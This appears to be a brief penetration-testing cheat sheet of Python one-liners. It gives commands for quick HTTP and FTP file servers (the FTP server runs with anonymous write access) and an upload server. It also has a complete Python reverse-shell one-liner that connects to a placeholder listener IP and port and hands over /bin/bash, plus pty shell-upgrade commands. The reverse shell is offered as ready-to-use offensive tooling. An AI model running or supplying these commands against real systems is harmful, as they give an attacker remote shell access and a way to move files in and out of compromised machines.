Python is a programming language that lets you work quickly and integrate systems more effectively.
Serving files with local web server.
Python2
python2 -m SimpleHTTPServer 9090
Python3
python3 -m http.server 9090
Requires: python2 -m pip install pyftpdlib
/ python3 -m pip install pyftpdlib
Note: By default this will allow anonymous login. To use username/password based authentication, please use the -u USERNAME
and -P PASSWORD
flags.
python2 -m pyftpdlib -p 21 -w
python3 -m pyftpdlib -p 21 -w
Download script here.
python3 HTTPServerWithUpload.py -p 80
python3 HTTPServerWithUpload.py --port 80
python2.7 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<LISTERNER-IP>>",<<LISTERNER-PORT>>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
Python2
python -c 'import pty; pty.spawn("/bin/bash")'
Python3
python3 -c 'import pty; pty.spawn("/bin/bash")'